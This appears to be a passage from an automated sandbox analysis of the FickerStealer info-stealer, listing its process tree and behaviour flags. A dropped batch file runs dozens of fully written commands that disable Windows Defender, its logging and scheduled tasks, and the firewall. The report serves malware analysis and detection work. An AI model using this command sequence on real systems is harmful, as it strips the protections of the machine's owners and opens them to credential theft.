wrote to memory of 2044 616 cmd.exe 82 PID 616 wrote to memory of 1292 616 cmd.exe 83 PID 616 wrote to memory of 1292 616 cmd.exe 83 PID 616 wrote to memory of 1292 616 cmd.exe 83 PID 616 wrote to memory of 1828 616 cmd.exe 84 PID 616 wrote to memory of 1828 616 cmd.exe 84 PID 616 wrote to memory of 1828 616 cmd.exe 84 PID 616 wrote to memory of 1704 616 cmd.exe 85 PID 616 wrote to memory of 1704 616 cmd.exe 85 PID 616 wrote to memory of 1704 616 cmd.exe 85 PID 616 wrote to memory of 2016 616 cmd.exe 86 PID 616 wrote to memory of 2016 616 cmd.exe 86 PID 616 wrote to memory of 2016 616 cmd.exe 86 PID 616 wrote to memory of 1944 616 cmd.exe 87 PID 616 wrote to memory of 1944 616 cmd.exe 87 PID 616 wrote to memory of 1944 616 cmd.exe 87 PID 616 wrote to memory of 1696 616 cmd.exe 88 PID 616 wrote to memory of 1696 616 cmd.exe 88 PID 616 wrote to memory of 1696 616 cmd.exe 88 PID 616 wrote to memory of 736 616 cmd.exe 89 PID 616 wrote to memory of 736 616 cmd.exe 89 PID 616 wrote to memory of 736 616 cmd.exe 89 PID 616 wrote to memory of 2036 616 cmd.exe 90 PID 616 wrote to memory of 2036 616 cmd.exe 90 PID 616 wrote to memory of 2036 616 cmd.exe 90
Processes
-
C:\Users\Admin\AppData\Local\Temp\FickerStealer.exe"C:\Users\Admin\AppData\Local\Temp\FickerStealer.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1044 -
C:\Users\Admin\AppData\Local\Temp\FickerStealer.exe"C:\Users\Admin\AppData\Local\Temp\FickerStealer.exe"2⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2016 -
C:\Users\Admin\AppData\Local\Temp\1611834708978.exe"C:\Users\Admin\AppData\Local\Temp\1611834708978.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1484 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\49BD.tmp\49BE.tmp\49BF.bat C:\Users\Admin\AppData\Local\Temp\1611834708978.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:616 -
C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true5⤵PID:552
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1672
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1824
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1964
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:568
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:588
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1540
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1148
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1780
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableScriptScanning $true"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1992
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1880
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -MAPSReporting 0"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1608
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1476
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1248
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1340
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1824
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:888 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender /v DisableAntiSpyware /t REG_DWORD /d 1 /f6⤵PID:1724
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "REG ADD ΓÇ£hklm\software\policies\microsoft\windows defenderΓÇ¥ /v DisableAntiSpyware /t REG_DWORD /d 1 /f"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1216 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD ΓÇ£hklm\software\policies\microsoft\windows defenderΓÇ¥ /v DisableAntiSpyware /t REG_DWORD /d 1 /f6⤵PID:1240
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "netsh advfirewall set allprofiles state off"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2024 -
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off6⤵PID:1656
-
-
-
C:\Windows\system32\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f5⤵PID:1340
-
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f5⤵PID:672
-
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f5⤵PID:108
-
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f5⤵PID:1636
-
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f5⤵PID:932
-
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f5⤵PID:1120
-
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f5⤵PID:344
-
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f5⤵PID:1824
-
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f5⤵PID:1376
-
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f5⤵PID:820
-
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f5⤵PID:668
-
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f5⤵PID:1072
-
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f5⤵PID:976
-
-
C:\Windows\system32\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f5⤵PID:788
-
-
C:\Windows\system32\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f5⤵PID:552
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable5⤵PID:888
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable5⤵PID:368
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable5⤵PID:748
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable5⤵PID:1604
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable5⤵PID:1976
-
-
C:\Windows\system32\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f5⤵PID:2040
-
-
C:\Windows\system32\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f5⤵PID:2044
-
-
C:\Windows\system32\reg.exereg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f5⤵PID:1292
-
-
C:\Windows\system32\reg.exereg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f5⤵PID:1828
-
-
C:\Windows\system32\reg.exereg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f5⤵PID:1704
-
-
C:\Windows\system32\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f5⤵PID:2016
-
-
C:\Windows\system32\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f5⤵PID:1944
-
-
C:\Windows\system32\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f5⤵PID:1696
-
-
C:\Windows\system32\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f5⤵PID:736
-
-
C:\Windows\system32\reg.exereg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f5⤵
- Modifies security service
PID:2036
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1611834709056.exe"C:\Users\Admin\AppData\Local\Temp\1611834709056.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:908 -
C:\Users\Admin\AppData\Local\Temp\1611834709056.exe"C:\Users\Admin\AppData\Local\Temp\1611834709056.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2024 -
C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe"C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe"5⤵
- Executes dropped EXE
PID:2040
-
-
-
-
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}1⤵
- Drops startup file
PID:1384